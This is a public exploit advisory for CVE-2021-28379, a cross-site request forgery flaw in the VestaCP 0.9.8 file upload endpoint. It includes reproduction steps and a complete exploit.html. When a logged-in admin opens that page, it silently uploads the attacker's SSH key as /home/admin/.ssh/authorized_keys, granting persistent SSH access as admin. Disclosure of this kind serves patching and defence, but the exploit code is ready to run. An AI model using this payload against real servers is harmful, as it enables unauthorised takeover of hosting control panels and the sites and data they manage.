VestaCP 0.9.8 Exploit, File Upload CSRF

# Exploit Title: VestaCP 0.9.8 - File Upload CSRF
# Exploit Author: Fady Othman 
# Date: 16-03-2021
# Vendor Homepage: https://vestacp.com/
# Software Link: https://github.com/myvesta/vesta
# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39
# CVE ID: CVE-2021-28379
# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355

## Description
I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.

I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.

Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.

Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"

## Steps to reproduce.
1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.
2. Login as the admin in Firefox, then open "exploit.html".
3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.

# exploit.html 

<html>
<head> 
<script>

function exploit() {
	var mystring = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnXyu8AsFjbuE5YMUa74PrNkO9coGWnw59v/cSVMgOZVpx+UziT0BRFurhVkyujTCXdz6OlN4yFZjCVMbAgZ7/liNu9ecGSGNcUTC+Br5YawlG9QICEaJ/bK32+luKdM1c5ONbRby+ARFsC9+iZu6IkAPnSRntbNgDZpuej/cKfm85EnvdQPAijvs4+899w2+rGvhSQ0wH4l1KNlV1yVoAsg0PFYGDnbygGA5Eo4k9LHwa2Hsm5b2Q5GhqlEUCgYFOjScuORczwhctVtp4VWKXiFoMLJupNhot/OqUXkoNgE6UUd75XcLNGMBiyfLpfXO2u1sGsw5nTiKvNn+1YdC7AKHWBjxl3wDY8hMf/gcveV4Nh45mMUu0p6kptDdVhELeeys8euHiTWOk+FLCKkps9eLiyl8gQUfWcFVj0dgqYVJne2S1U33wnofRhj0fGWAJf14xHhwnTi7u58u+0U1NJchOTHAaeX1Swqk2J34Ny9GwD01a71DFIIcIbgcef6c= fady@fady-Lenovo-Legion-Y530-15ICH-1060`;
	var fileContent = new Blob([mystring], {
    		type: 'text/plain'
	});
	myFormData = new FormData();
	myFormData.append("files", fileContent, "authorized_keys");
	fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
    	method: "post",
    	body: myFormData,
    	credentials: "include"
}); }
</script>

</head>

<body onload="exploit();">


</body>
</html>

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